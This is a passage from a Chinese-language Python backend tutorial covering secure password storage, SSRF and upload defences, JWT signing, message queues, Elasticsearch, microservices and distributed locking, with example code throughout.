password_md5 = hashlib.md5(password.encode()).hexdigest() # 可被彩虹表破解
# ✅ 安全的密码存储(bcrypt)
import bcrypt
# 加密
def hash_password(password: str) -> str:
salt = bcrypt.gensalt(rounds=12)
return bcrypt.hashpw(password.encode(), salt).decode()
# 验证
def verify_password(password: str, hashed: str) -> bool:
return bcrypt.checkpw(password.encode(), hashed.encode())
# 密码强度校验
import re
def validate_password(password: str) -> bool:
if len(password) < 8:
return False
if not re.search(r'[A-Z]', password): # 大写字母
return False
if not re.search(r'[a-z]', password): # 小写字母
return False
if not re.search(r'\d', password): # 数字
return False
return True
# 检查依赖漏洞
pip install pip-audit
pip-audit # 扫描当前环境
pip-audit -r requirements.txt # 扫描 requirements.txt
# 自动修复
pip-audit --fix
# CI/CD 中集成
# .github/workflows/security.yml
- name: Security Audit
run: |
pip install pip-audit safety
pip-audit
safety check -r requirements.txt
# 定期更新依赖
pip install pip-tools
pip-compile requirements.in # 生成锁定版本的 requirements.txt
pip install -r requirements.txt
① 所有用户输入必须校验(Pydantic/DRF Serializer)。② 密码用 bcrypt 哈希存储(不要用 MD5/SHA1)。③ 生产环境关闭 debug 模式。④ 敏感操作需要二次验证(短信/邮箱验证码)。⑤ 定期更新依赖(pip-audit 检查漏洞)。⑥ 日志不记录密码和 Token。⑦ API 限流防暴力破解。⑧ HTTPS 强制开启。⑨ 数据库不用 root 连接。⑩ 文件上传严格校验类型和大小。
① bandit——Python 代码安全扫描。② pip-audit——依赖漏洞扫描。③ safety——依赖安全检查。④ schemathesis——API 安全测试。⑤ OWASP ZAP——Web 应用安全扫描。⑥ sqlmap——SQL 注入检测。
import ipaddress
from urllib.parse import urlparse
import httpx
import socket
# 内网 IP 段
PRIVATE_NETWORKS = [
ipaddress.ip_network("10.0.0.0/8"),
ipaddress.ip_network("172.16.0.0/12"),
ipaddress.ip_network("192.168.0.0/16"),
ipaddress.ip_network("127.0.0.0/8"),
ipaddress.ip_network("169.254.0.0/16"),
]
def is_private_ip(ip_str: str) -> bool:
"""检查是否为内网 IP"""
try:
ip = ipaddress.ip_address(ip_str)
return any(ip in network for network in PRIVATE_NETWORKS)
except ValueError:
return False
async def safe_request(url: str, allowed_domains: list[str] = None):
"""安全的 HTTP 请求(防 SSRF)"""
parsed = urlparse(url)
# 1. 检查协议
if parsed.scheme not in ("http", "https"):
raise ValueError(f"不允许的协议: {parsed.scheme}")
# 2. 检查域名白名单
if allowed_domains and parsed.hostname not in allowed_domains:
raise ValueError(f"域名不在白名单中: {parsed.hostname}")
# 3. 解析 IP 并检查是否为内网
ip = socket.gethostbyname(parsed.hostname)
if is_private_ip(ip):
raise ValueError(f"禁止访问内网地址: {ip}")
# 4. 发起请求(禁止自动重定向)
async with httpx.AsyncClient(follow_redirects=False) as client:
response = await client.get(url, timeout=10)
# 检查重定向目标
if response.is_redirect:
redirect_url = response.headers.get("location", "")
redirect_parsed = urlparse(redirect_url)
redirect_ip = socket.gethostbyname(redirect_parsed.hostname)
if is_private_ip(redirect_ip):
raise ValueError("重定向到内网地址被禁止")
return response
# 使用示例
@app.post("/fetch-url")
async def fetch_url(url: str, user = Depends(get_current_user)):
allowed = ["api.example.com", "cdn.example.com"]
response = await safe_request(url, allowed)
return {"status": response.status_code, "data": response.text}
import magic # pip install python-magic
from PIL import Image
import io
import uuid
# 文件类型 Magic Number
ALLOWED_TYPES = {
"image/jpeg": [b"\xff\xd8\xff"],
"image/png": [b"\x89PNG\r\n\x1a\n"],
"image/gif": [b"GIF87a", b"GIF89a"],
"application/pdf": [b"%PDF"],
}
def validate_file_type(content: bytes, expected_mime: str) -> bool:
"""通过 Magic Number 校验文件真实类型"""
detected_mime = magic.from_buffer(content, mime=True)
if detected_mime != expected_mime:
return False
magic_numbers = ALLOWED_TYPES.get(expected_mime, [])
return any(content.startswith(m) for m in magic_numbers)
def reprocess_image(content: bytes) -> bytes:
"""重新处理图片,去除可能的恶意代码(防图片马)"""
img = Image.open(io.BytesIO(content))
if img.mode in ("RGBA", "P"):
img = img.convert("RGB")
output = io.BytesIO()
img.save(output, format="JPEG", quality=85)
return output.getvalue()
@app.post("/upload")
async def upload_file(file: UploadFile, user = Depends(get_current_user)):
content = await file.read()
# 1. 检查文件大小(限制 10MB)
if len(content) > 10 * 1024 * 1024:
raise HTTPException(400, "文件大小超过限制")
# 2. 校验文件类型(Magic Number,不依赖扩展名)
if not validate_file_type(content, file.content_type):
raise HTTPException(400, "文件类型不匹配")
# 3. 图片重处理(防止图片马)
if file.content_type.startswith("image/"):
content = reprocess_image(content)
# 4. 生成安全文件名(UUID)
ext = file.filename.rsplit(".", 1)[-1] if "." in file.filename else "bin"
safe_filename = f"{uuid.uuid4()}.{ext}"
# 5. 存储到独立域名的 OSS
oss_url = await upload_to_oss(safe_filename, content)
return {"url": oss_url, "filename": safe_filename}
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
import jwt
# 生成 RSA 密钥对
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
public_key = private_key.public_key()
private_pem = private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption()
)
public_pem = public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
)
# 生成 Token(RS256)
def create_token_rs256(user_id: int) -> str:
payload = {
"user_id": user_id,
"exp": datetime.now(datetime.UTC) + timedelta(minutes=15),
"iat": datetime.now(datetime.UTC),
}
return jwt.encode(payload, private_pem, algorithm="RS256")
# 验证 Token(只需要公钥)
def verify_token_rs256(token: str) -> dict:
try:
return jwt.decode(token, public_pem, algorithms=["RS256"])
except jwt.ExpiredSignatureError:
raise ValueError("Token 已过期")
except jwt.InvalidTokenError:
raise ValueError("Token 无效")
# 优势:私钥只在签发服务,验证服务只需公钥
# 即使验证服务被攻破,攻击者也无法伪造 Token
消息队列是分布式系统的"邮政系统"——生产者发消息到队列,消费者从队列取消息。两者不需要直接通信。
没有消息队列时,你打电话给餐厅点餐,必须等厨师做好才能挂电话(同步调用)。有了消息队列,你发一条短信点餐,然后去忙别的,做好了餐厅通知你(异步通信)。
| 维度 | RabbitMQ | Kafka |
|---|---|---|
| 模型 | 消息队列(消费后删除) | 分布式日志(保留历史) |
| 吞吐量 | 万级/秒 | 百万级/秒 |
| 延迟 | 微秒级 | 毫秒级 |
| 适用场景 | 任务队列、RPC | 日志收集、事件流、大数据 |
# RabbitMQ — pika
import pika
# 生产者
connection = pika.BlockingConnection(pika.ConnectionParameters('localhost'))
channel = connection.channel()
channel.queue_declare(queue='tasks')
channel.basic_publish(exchange='', routing_key='tasks', body=b'{"task": "send_email"}')
connection.close()
# 消费者
def callback(ch, method, properties, body):
print(f"收到任务: {body}")
ch.basic_ack(delivery_tag=method.delivery_tag)
channel.basic_consume(queue='tasks', on_message_callback=callback)
channel.start_consuming()
# pip install pika
import pika
import json
# 连接 RabbitMQ
connection = pika.BlockingConnection(pika.ConnectionParameters('localhost'))
channel = connection.channel()
# 声明队列(durable=True 持久化)
channel.queue_declare(queue='tasks', durable=True)
# 生产者——发送消息
def publish_task(task_data: dict):
channel.basic_publish(
exchange='',
routing_key='tasks',
body=json.dumps(task_data),
properties=pika.BasicProperties(
delivery_mode=2, # 消息持久化
content_type='application/json',
)
)
# 消费者——处理消息
def callback(ch, method, properties, body):
task = json.loads(body)
try:
process_task(task)
ch.basic_ack(delivery_tag=method.delivery_tag) # 确认处理完成
except Exception as e:
ch.basic_nack(delivery_tag=method.delivery_tag, requeue=True) # 重新入队
channel.basic_qos(prefetch_count=1) # 每次只取 1 条消息
channel.basic_consume(queue='tasks', on_message_callback=callback)
channel.start_consuming()
# 死信队列——处理反复失败的消息
# 声明死信交换机
channel.exchange_declare(exchange='dlx', exchange_type='direct')
channel.queue_declare(queue='dead_letter_queue', durable=True)
channel.queue_bind(queue='dead_letter_queue', exchange='dlx', routing_key='tasks')
# 主队列绑定死信交换机
channel.queue_declare(queue='tasks', durable=True, arguments={
'x-dead-letter-exchange': 'dlx',
'x-dead-letter-routing-key': 'tasks',
'x-message-ttl': 60000, # 消息 TTL 60 秒
})
# 消费者——处理失败 3 次后进入死信队列
def callback(ch, method, properties, body):
retry_count = properties.headers.get('x-retry-count', 0) if properties.headers else 0
try:
process_task(json.loads(body))
ch.basic_ack(delivery_tag=method.delivery_tag)
except Exception:
if retry_count >= 3:
ch.basic_reject(delivery_tag=method.delivery_tag, requeue=False) # 进入死信
else:
# 重试(带延迟)
ch.basic_ack(delivery_tag=method.delivery_tag)
publish_task(json.loads(body), headers={'x-retry-count': retry_count + 1})
# pip install kafka-python
from kafka import KafkaProducer, KafkaConsumer
import json
# 生产者
producer = KafkaProducer(
bootstrap_servers=['localhost:9092'],
value_serializer=lambda v: json.dumps(v).encode('utf-8'),
acks='all', # 等待所有副本确认
retries=3,
)
# 发送消息
producer.send('order-events', value={'event': 'order_created', 'order_id': 123})
producer.flush()
# 消费者
consumer = KafkaConsumer(
'order-events',
bootstrap_servers=['localhost:9092'],
group_id='order-processor', # 消费者组
auto_offset_reset='earliest',
value_deserializer=lambda m: json.loads(m.decode('utf-8')),
enable_auto_commit=False,
)
for message in consumer:
event = message.value
process_event(event)
consumer.commit() # 手动提交偏移量
| 维度 | RabbitMQ | Kafka | Redis Stream |
|---|---|---|---|
| 模型 | 消息队列 | 分布式日志 | 轻量队列 |
| 吞吐量 | 万级/秒 | 百万级/秒 | 十万级/秒 |
| 消息保留 | 消费后删除 | 保留历史 | 可配置 |
| 适用场景 | 任务队列、RPC | 事件流、日志 | 简单队列 |
| 运维复杂度 | 中等 | 高 | 低 |
① 解耦——订单服务不需要知道谁在处理订单,只管发消息。② 削峰——秒杀时请求先进队列,消费者按自己的速度处理。③ 异步——注册后发邮件,不用等邮件发完再返回。
① 消息要持久化(防止重启丢失)。② 消费要确认(ack 机制)。③ 消费者要幂等(重复消费结果一样)。④ 设置死信队列(处理失败消息)。⑤ 监控队列长度(防止积压)。⑥ 设置消息 TTL(防止无限堆积)。
# Exchange 是 RabbitMQ 的核心组件,决定消息如何路由到队列
# 1. Direct Exchange(精确路由)
# 消息的 routing_key 必须完全匹配队列的 binding_key
channel.exchange_declare(exchange='direct_logs', exchange_type='direct')
channel.queue_bind(exchange='direct_logs', queue='error_queue', routing_key='error')
channel.queue_bind(exchange='direct_logs', queue='info_queue', routing_key='info')
# 发送:routing_key='error' → 只到 error_queue
# 2. Fanout Exchange(广播)
# 消息广播到所有绑定的队列,忽略 routing_key
channel.exchange_declare(exchange='broadcast', exchange_type='fanout')
channel.queue_bind(exchange='broadcast', queue='queue1')
channel.queue_bind(exchange='broadcast', queue='queue2')
# 发送:routing_key 无效 → 到 queue1 和 queue2
# 3. Topic Exchange(通配符路由)
# routing_key 支持通配符:* 匹配一个词,# 匹配零或多个词
channel.exchange_declare(exchange='topic_logs', exchange_type='topic')
channel.queue_bind(exchange='topic_logs', queue='db_queue', routing_key='*.db.#')
channel.queue_bind(exchange='topic_logs', queue='web_queue', routing_key='web.*')
# 发送:routing_key='app.db.error' → 到 db_queue
# 发送:routing_key='web.info' → 到 web_queue
# 4. Headers Exchange(头部匹配)
# 根据消息的 headers 属性路由,不依赖 routing_key
channel.exchange_declare(exchange='headers_logs', exchange_type='headers')
channel.queue_bind(exchange='headers_logs', queue='critical_queue',
arguments={'x-match': 'all', 'severity': 'critical', 'format': 'json'})
# x-match=all:所有条件都匹配
# x-match=any:任一条件匹配
# 消息重复是常态(网络抖动、消费者重启、ack 丢失)
# 消费者必须保证幂等:重复消费结果和消费一次一样
import redis
import json
r = redis.Redis()
def process_message_idempotent(message_id: str, handler):
"""幂等消费:用 Redis 去重"""
# 1. 检查是否已处理
if r.exists(f"processed:{message_id}"):
print(f"消息 {message_id} 已处理,跳过")
return
# 2. 处理消息
try:
handler()
# 3. 标记已处理(设置过期时间 7 天)
r.setex(f"processed:{message_id}", 7 * 86400, "1")
except Exception as e:
print(f"处理失败: {e}")
raise
# 使用示例
def callback(ch, method, properties, body):
message_id = properties.message_id # 生产者设置的唯一 ID
task = json.loads(body)
try:
process_message_idempotent(message_id, lambda: process_task(task))
ch.basic_ack(delivery_tag=method.delivery_tag)
except Exception:
ch.basic_nack(delivery_tag=method.delivery_tag, requeue=True)
# 生产者:设置消息 ID
import uuid
def publish_task(task_data: dict):
channel.basic_publish(
exchange='',
routing_key='tasks',
body=json.dumps(task_data),
properties=pika.BasicProperties(
message_id=str(uuid.uuid4()), # 唯一消息 ID
delivery_mode=2,
)
)
# 数据库唯一约束(另一种幂等方案)
# 例如:订单号唯一索引,重复插入会失败
# INSERT INTO orders (order_id, ...) VALUES (...) ON CONFLICT DO NOTHING
# Python 生态中最常用的消息队列方案
# pip install celery
# celery_app.py
from celery import Celery
app = Celery('myapp', broker='amqp://guest:guest@localhost:5672//')
# 配置
app.conf.update(
task_serializer='json',
accept_content=['json'],
result_serializer='json',
timezone='Asia/Shanghai',
enable_utc=True,
task_track_started=True,
task_acks_late=True, # 任务完成后才确认(防止任务丢失)
worker_prefetch_multiplier=1, # 每次只取 1 个任务
)
# 定义任务
@app.task(bind=True, max_retries=3)
def send_email(self, to: str, subject: str, body: str):
try:
# 发送邮件
send_smtp_email(to, subject, body)
except Exception as exc:
# 自动重试(指数退避)
raise self.retry(exc=exc, countdown=60)
# 调用任务(异步)
send_email.delay("user@example.com", "欢迎", "欢迎注册")
# 调用任务(带参数)
send_email.apply_async(
args=["user@example.com", "欢迎", "欢迎注册"],
countdown=60, # 延迟 60 秒执行
queue='email', # 指定队列
)
# 启动 Worker
# celery -A celery_app worker --loglevel=info --queues=email
MySQL 的 LIKE '%keyword%' 在百万数据上需要 10 秒。Elasticsearch(ES)做同样的搜索只需 10 毫秒。
# 为什么 ES 比 MySQL LIKE 快 1000 倍?因为倒排索引
# 正排索引(MySQL):文档 → 包含的词
# 文档1: "苹果手机" → ["苹果", "手机"]
# 文档2: "苹果电脑" → ["苹果", "电脑"]
# 文档3: "华为手机" → ["华为", "手机"]
# 搜索"苹果":遍历所有文档,检查是否包含 → O(n)
# 倒排索引(ES):词 → 包含该词的文档列表
# "苹果" → [文档1, 文档2]
# "手机" → [文档1, 文档3]
# "电脑" → [文档2]
# "华为" → [文档3]
# 搜索"苹果":直接查倒排表 → O(1)
# 搜索"苹果 AND 手机":取交集 → [文档1]
# 中文分词:
# 原文: "苹果手机" → 分词器 → ["苹果", "手机"]
# ES 使用分词器(如 ik_max_word)将文本拆分成词
# 搜索时也会对搜索词分词,然后查倒排索引
# text vs keyword 类型:
# text: 会被分词,适合全文搜索(标题、内容)
# keyword: 不分词,适合精确匹配(状态、标签、邮箱)
# 例子:
# "苹果手机"
# - text 类型 → 分词为 ["苹果", "手机"],搜索"苹果"能匹配
# - keyword 类型 → 不分词,只有搜索"苹果手机"完全一致才匹配
# ES 中 query 和 filter 的区别:
# query(查询上下文):
# - 计算相关性得分(_score)
# - 结果按得分排序
# - 不缓存
# - 适合:全文搜索、需要相关性排序
# filter(过滤上下文):
# - 不计算得分(返回 score=0)
# - 结果可缓存(性能更好)
# - 适合:精确匹配、范围查询、是否存在
# ❌ 错误:用 query 做精确匹配
result = es.search(body={
"query": {
"match": {"status": "published"} # 会计算得分,浪费性能
}
})
# ✅ 正确:用 filter 做精确匹配
result = es.search(body={
"query": {
"bool": {
"must": [
{"match": {"title": "Python 教程"}} # 全文搜索用 must
],
"filter": [
{"term": {"status": "published"}}, # 精确匹配用 filter
{"range": {"views": {"gte": 100}}}, # 范围查询用 filter
]
}
}
})
# 常用 filter:
# term: 精确匹配(keyword 字段)
# terms: 匹配多个值
# range: 范围查询(gt, gte, lt, lte)
# exists: 字段是否存在
# bool: 组合多个条件
# ES 核心概念
# Index(索引)= 数据库的"表"
# Document(文档)= 表中的一条记录(JSON 格式)
# Shard(分片)= 数据分成多份存储在不同节点
# Replica(副本)= 分片的备份,提高可用性
# Python 操作 ES
from elasticsearch import Elasticsearch
es = Elasticsearch('http://localhost:9200')
# 创建索引
es.indices.create(index='articles', body={
'settings': {'number_of_shards': 1},
'mappings': {
'properties': {
'title': {'type': 'text', 'analyzer': 'ik_max_word'}, # 中文分词
'content': {'type': 'text', 'analyzer': 'ik_max_word'},
'created_at': {'type': 'date'},
}
}
})
# 索引文档
es.index(index='articles', id=1, body={
'title': 'Python Web 开发教程',
'content': '这是一篇关于 Flask 和 Django 的教程...',
'created_at': '2024-06-26'
})
# 搜索
result = es.search(index='articles', body={
'query': {
'bool': {
'must': [{'match': {'content': 'Flask'}}],
'filter': [{'range': {'created_at': {'gte': '2024-01-01'}}}]
}
},
'highlight': {'fields': {'content': {}}}, # 高亮匹配的关键词
'from': 0, 'size': 10
})
# ES 聚合——统计分析
result = es.search(index='articles', body={
"size": 0, # 不返回文档,只要聚合结果
"aggs": {
# 按分类统计文章数
"by_category": {
"terms": {"field": "category.keyword", "size": 10}
},
# 按日期统计趋势
"by_date": {
"date_histogram": {
"field": "created_at",
"calendar_interval": "month"
}
},
# 平均阅读量
"avg_views": {
"avg": {"field": "views"}
},
# 阅读量分布
"views_ranges": {
"range": {
"field": "views",
"ranges": [
{"to": 100},
{"from": 100, "to": 1000},
{"from": 1000}
]
}
}
}
})
# 获取聚合结果
categories = result['aggregations']['by_category']['buckets']
for cat in categories:
print(f"{cat['key']}: {cat['doc_count']} 篇")
# 批量索引(比单条快 10-100 倍)
from elasticsearch.helpers import bulk
actions = []
for article in articles:
actions.append({
"_index": "articles",
"_id": article.id,
"_source": {
"title": article.title,
"content": article.content,
"category": article.category.name,
"views": article.views,
"created_at": article.created_at.isoformat(),
}
})
# 批量写入(每次 1000 条)
success, failed = bulk(es, actions, chunk_size=1000, raise_on_error=False)
print(f"成功: {success}, 失败: {failed}")
# Mapping 优化
es.indices.create(index='articles', body={
"settings": {
"number_of_shards": 3, # 分片数
"number_of_replicas": 1, # 副本数
"refresh_interval": "30s", # 刷新间隔(默认 1s)
},
"mappings": {
"properties": {
"title": {"type": "text", "analyzer": "ik_max_word"},
"content": {"type": "text", "analyzer": "ik_smart"},
"category": {"type": "keyword"}, # 精确匹配用 keyword
"views": {"type": "integer"},
"created_at": {"type": "date"},
"suggest": {"type": "completion"}, # 搜索建议
}
}
})
# 方案1:同步双写(简单但可能不一致)
def create_article(data):
article = Article(**data)
db.add(article)
db.commit()
# 同步写 ES
es.index(index='articles', id=article.id, body=article.to_dict())
# 问题:DB 写成功但 ES 写失败 → 数据不一致
# 方案2:异步同步(推荐)
def create_article(data):
article = Article(**data)
db.add(article)
db.commit()
# 发消息到队列
publish_message('article_created', {'id': article.id})
# 消费者更新 ES
# 方案3:Canal 监听 binlog(最可靠)
# Canal 监听 MySQL binlog → 解析变更 → 同步到 ES
# 对应用完全无侵入,但需要部署 Canal 服务
① 同步双写——写数据库时同时写 ES(简单但可能不一致)。② 异步同步——数据库变更后发消息队列,消费者更新 ES(推荐)。③ Canal——监听 MySQL binlog,自动同步到 ES(最可靠)。生产环境推荐方案 ② 或 ③。
① 分片数要在创建索引时确定(后期不能改)。② 单个分片建议 10-50GB。③ 批量操作比单条快 10-100 倍。④ 合理设置 refresh_interval(默认 1s 太频繁)。⑤ 用 keyword 代替 text 做精确匹配。⑥ 避免深分页(用 search_after 代替 from/size)。
单体应用(所有代码在一个项目)在团队变大、功能变多时会变成"巨石"——改一行代码要重新部署整个系统。微服务把大系统拆成多个小服务,各自独立开发、部署、扩展。
单体应用像一家全能餐厅——厨师、服务员、收银、采购全在一个团队里。人少时很好管理,但当员工超过 50 人时,沟通成本暴增。微服务像美食广场——每个档口(服务)独立经营,有自己的厨师和收银,通过统一的前台(API 网关)服务顾客。
| 维度 | 单体应用 | 微服务 |
|---|---|---|
| 代码结构 | 一个项目,一个仓库 | 多个项目,多个仓库 |
| 部署 | 整体部署 | 独立部署 |
| 扩展 | 整体扩展 | 按需扩展单个服务 |
| 技术栈 | 统一 | 每个服务可以不同 |
| 故障隔离 | 一个 Bug 可能拖垮整个系统 | 一个服务挂了不影响其他 |
| 开发速度 | 初期快,后期慢 | 初期慢,后期快 |
| 运维复杂度 | 低 | 高(需要容器化、服务发现、监控) |
# Consul 服务注册(Python)
import consul
c = consul.Consul(host='localhost')
# 服务启动时注册
c.agent.service.register(
name='user-service',
service_id='user-service-1',
address='10.0.0.1',
port=8000,
check=consul.Check.http('http://10.0.0.1:8000/health', interval='10s')
)
# 服务发现:查找 user-service 的地址
_, services = c.health.service('user-service', passing=True)
for service in services:
addr = service['Service']['Address']
port = service['Service']['Port']
print(f"user-service: {addr}:{port}")
| 方式 | 特点 | 适用场景 |
|---|---|---|
| 同步 HTTP | 简单、直观、有延迟 | 简单的请求-响应 |
| 同步 gRPC | 高性能、二进制协议 | 内部高频调用 |
| 异步消息队列 | 解耦、削峰、可靠 | 不需要立刻得到结果的操作 |
微服务不是银弹——它增加了:① 运维复杂度(10 个服务 = 10 套部署、10 个数据库)。② 网络延迟(服务间调用有开销)。③ 分布式事务难题。④ 调试困难(一个请求经过多个服务)。⑤ 需要额外的基础设施(服务发现、配置中心、链路追踪)。团队小于 10 人时,单体应用 + 模块化是更好的选择。
① 团队超过 20 人,代码冲突频繁。② 某个模块需要独立扩展(如搜索服务需要更多资源)。③ 不同模块的技术栈不同(Python + Go + Java)。④ 部署频率差异大(支付模块一个月发一次,首页一天发三次)。⑤ 单体应用的构建时间超过 10 分钟。
不要一次性把单体拆成 20 个微服务——风险太大。正确做法:① 先把最痛的模块拆出来(如搜索服务)。② 运行稳定后再拆下一个。③ 用 Strangler Fig 模式:新功能用微服务写,旧功能逐步迁移。④ 保留单体作为"遗留系统",通过 API 网关统一入口。
# ===== 用户服务 (user-service/main.py) =====
from fastapi import FastAPI, HTTPException
import httpx
import consul
app = FastAPI()
c = consul.Consul(host='consul')
# 注册到 Consul(推荐用 lifespan 上下文管理器替代,见 ch23)
@app.on_event("startup") # 注意:FastAPI 已弃用,建议改用 lifespan
async def startup():
c.agent.service.register(
name='user-service',
service_id='user-service-1',
address='user-service',
port=8000,
check=consul.Check.http('http://user-service:8000/health', interval='10s')
)
@app.get("/health")
async def health():
return {"status": "ok"}
@app.get("/users/{user_id}")
async def get_user(user_id: int):
# 模拟数据库查询
users = {1: {"id": 1, "name": "张三", "email": "zhangsan@example.com"}}
if user_id not in users:
raise HTTPException(404, "用户不存在")
return users[user_id]
# ===== 订单服务 (order-service/main.py) =====
from fastapi import FastAPI
import httpx
import consul
from pybreaker import CircuitBreaker
app = FastAPI()
c = consul.Consul(host='consul')
breaker = CircuitBreaker(fail_max=5, reset_timeout=60) # 熔断器
# 服务发现:查找 user-service 地址
async def get_service_address(service_name: str):
_, services = c.health.service(service_name, passing=True)
if not services:
raise Exception(f"服务 {service_name} 不可用")
service = services[0]['Service']
return f"http://{service['Address']}:{service['Port']}"
# 调用用户服务(带熔断保护)
@breaker
async def get_user_from_service(user_id: int):
base_url = await get_service_address("user-service")
async with httpx.AsyncClient() as client:
response = await client.get(f"{base_url}/users/{user_id}", timeout=5)
response.raise_for_status()
return response.json()
@app.get("/orders/{order_id}")
async def get_order(order_id: int):
order = {"id": order_id, "user_id": 1, "amount": 99.9}
try:
user = await get_user_from_service(order["user_id"])
order["user_name"] = user["name"]
except Exception as e:
order["user_name"] = "未知用户" # 降级处理
return order
# pip install pybreaker
from pybreaker import CircuitBreaker, CircuitBreakerError
# 熔断器状态:
# CLOSED(正常)→ 失败次数超过阈值 → OPEN(熔断,直接失败)
# OPEN → 超时后 → HALF-OPEN(试探,成功则 CLOSED,失败则 OPEN)
breaker = CircuitBreaker(
fail_max=5, # 失败 5 次后熔断
reset_timeout=60, # 熔断 60 秒后进入半开状态
exclude=[HTTPException], # 4xx 不算失败
)
@breaker
async def call_external_service():
async with httpx.AsyncClient() as client:
response = await client.get("http://external-service/api")
return response.json()
# 使用示例
@app.get("/data")
async def get_data():
try:
return await call_external_service()
except CircuitBreakerError:
# 熔断状态,返回降级数据
return {"data": "服务暂时不可用,请稍后重试", "degraded": True}
# docker-compose.yml
# 注:Docker Compose v2 已不再需要 version 字段,省略即可
services:
consul:
image: consul:latest
ports:
- "8500:8500"
user-service:
build: ./user-service
environment:
- CONSUL_HOST=consul
depends_on:
- consul
deploy:
replicas: 2
order-service:
build: ./order-service
environment:
- CONSUL_HOST=consul
depends_on:
- consul
- user-service
deploy:
replicas: 2
api-gateway:
image: nginx:latest
ports:
- "80:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- user-service
- order-service
# 启动所有服务
# docker-compose up -d
# 扩容用户服务到 3 个实例
# docker-compose up -d --scale user-service=3
分布式系统的本质难题:网络不可靠。服务器可能宕机、网络可能断开、消息可能丢失。理解这些限制,才能设计出可靠的系统。
分布式系统就像一个跨国公司——员工分布在世界各地(多个服务器),通过邮件沟通(网络通信)。邮件可能丢失(网络分区)、员工可能请假(服务器宕机)、时区不同导致信息延迟(一致性问题)。你需要一套规则来保证公司正常运转。
CAP 理论指出,分布式系统不可能同时满足以下三个保证:
三者只能选两个:CP(强一致,可能不可用)或 AP(高可用,可能数据不一致)。网络分区是客观存在的,所以实际选择是 C 和 A 之间取舍。
| 选择 | 特点 | 代表系统 |
|---|---|---|
| CP | 强一致性,网络分区时拒绝写入 | ZooKeeper、etcd、HBase |
| AP | 高可用,允许短暂数据不一致 | Cassandra、DynamoDB、CouchDB |
| 方案 | 原理 | 优点 | 缺点 |
|---|---|---|---|
| 2PC(两阶段提交) | 先准备,再提交。协调者统一决定。 | 强一致性 | 性能差,协调者单点故障 |
| TCC | Try 预留资源 → Confirm 确认 / Cancel 取消 | 业务层控制 | 实现复杂,每个操作都要写三个方法 |
| Saga | 每步有补偿操作,失败时反向补偿 | 无锁,性能好 | 只能保证最终一致性 |
# Saga 模式示例:订单创建
# 正向流程
def create_order():
order = create_order_record() # 步骤1:创建订单
try:
reduce_inventory(order) # 步骤2:扣减库存
charge_payment(order) # 步骤3:扣款
send_notification(order) # 步骤4:发送通知
except Exception:
# 补偿流程(反向回滚)
refund_payment(order) # 补偿3:退款
restore_inventory(order) # 补偿2:恢复库存
cancel_order(order) # 补偿1:取消订单
raise
# 雪花算法(Snowflake)—— Twitter 开源的分布式 ID 生成器
# 结构:时间戳(41位) + 机器ID(10位) + 序列号(12位)
# 特点:全局唯一、趋势递增、不依赖数据库
from snowflake import SnowflakeGenerator
gen = SnowflakeGenerator(instance=1)
order_id = next(gen) # 例如:7345234567890123456
# Redis 实现分布式锁
import redis
import time
r = redis.Redis()
def acquire_lock(lock_name, timeout=10):
"""获取分布式锁(SET NX EX 原子操作)"""
return r.set(f'lock:{lock_name}', '1', nx=True, ex=timeout)
def release_lock(lock_name):
"""释放锁"""
r.delete(f'lock:{lock_name}')
# 使用
if acquire_lock('order:create'):
try:
create_order() # 同一时间只有一个进程能执行
finally:
release_lock('order:create')
# ===== 完整分布式锁实现(带锁续期和可重入)=====
import redis
import threading
import time
from contextlib import contextmanager
class DistributedLock:
def __init__(self, redis_client, lock_name, timeout=10, auto_renew=True):
self.redis = redis_client
self.lock_name = f"lock:{lock_name}"
self.timeout = timeout
self.auto_renew = auto_renew
self._owner = None
self._renew_thread = None
self._stop_renew = threading.Event()
def acquire(self, blocking=True, timeout=None):
"""获取锁"""
self._owner = f"{threading.current_thread().ident}:{time.time()}"
end_time = time.time() + (timeout or self.timeout)
while True:
# SET NX EX 原子操作
if self.redis.set(self.lock_name, self._owner, nx=True, ex=self.timeout):
if self.auto_renew:
self._start_renew_thread()
return True
if not blocking or time.time() > end_time:
return False
time.sleep(0.1)
def release(self):
"""释放锁(Lua 脚本保证原子性)"""
self._stop_renew.set()
if self._renew_thread:
self._renew_thread.join()
# Lua 脚本:只有锁的持有者才能释放
lua_script = """
if redis.call("get", KEYS[1]) == ARGV[1] then
return redis.call("del", KEYS[1])
else
return 0
end
"""
self.redis.eval(lua_script, 1, self.lock_name, self._owner)
def _start_renew_thread(self):
"""启动锁续期线程(Watch Dog 机制)"""
def renew_loop():
while not self._stop_renew.wait(self.timeout / 3):
# 每 timeout/3 秒续期一次
lua_script = """
if redis.call("get", KEYS[1]) == ARGV[1] then
return redis.call("expire", KEYS[1], ARGV[2])
else
return 0
end
"""
result = self.redis.eval(
lua_script, 1, self.lock_name, self._owner, self.timeout
)
if not result:
break # 锁已不在,停止续期
self._renew_thread = threading.Thread(target=renew_loop, daemon=True)
self._renew_thread.start()
@contextmanager
def distributed_lock(redis_client, lock_name, timeout=10):
"""上下文管理器方式使用分布式锁"""
lock = DistributedLock(redis_client, lock_name, timeout)
lock.acquire()
try:
yield lock
finally:
lock.release()
# 使用示例
r = redis.Redis()
# 方式 1:上下文管理器(推荐)
with distributed_lock(r, "order:create"):
create_order() # 自动获取和释放锁
# 方式 2:手动管理
lock = DistributedLock(r, "order:create", timeout=30, auto_renew=True)
if lock.acquire(blocking=True, timeout=60):
try:
create_order()
finally:
lock.release()
能不用分布式事务就不用。优先考虑:① 把需要事务的操作放在同一个服务/数据库中。② 用最终一致性 + 补偿机制(Saga)。③ 用消息队列的可靠投递保证数据一致。④ 用分布式锁保证关键操作的互斥性。
① 网络是可靠的(错!)。② 延迟为零(错!)。③ 带宽是无限的(错!)。④ 网络是安全的(错!)。⑤ 拓扑不会变(错!)。⑥ 只有一个管理员(错!)。⑦ 传输成本为零(错!)。⑧ 网络是同构的(错!)。设计分布式系统时,必须假设这些都会出问题。
当单表数据超过 1000 万行时,查询性能会急剧下降。分库分表把数据分散到多个数据库/表中,是应对海量数据的终极方案。
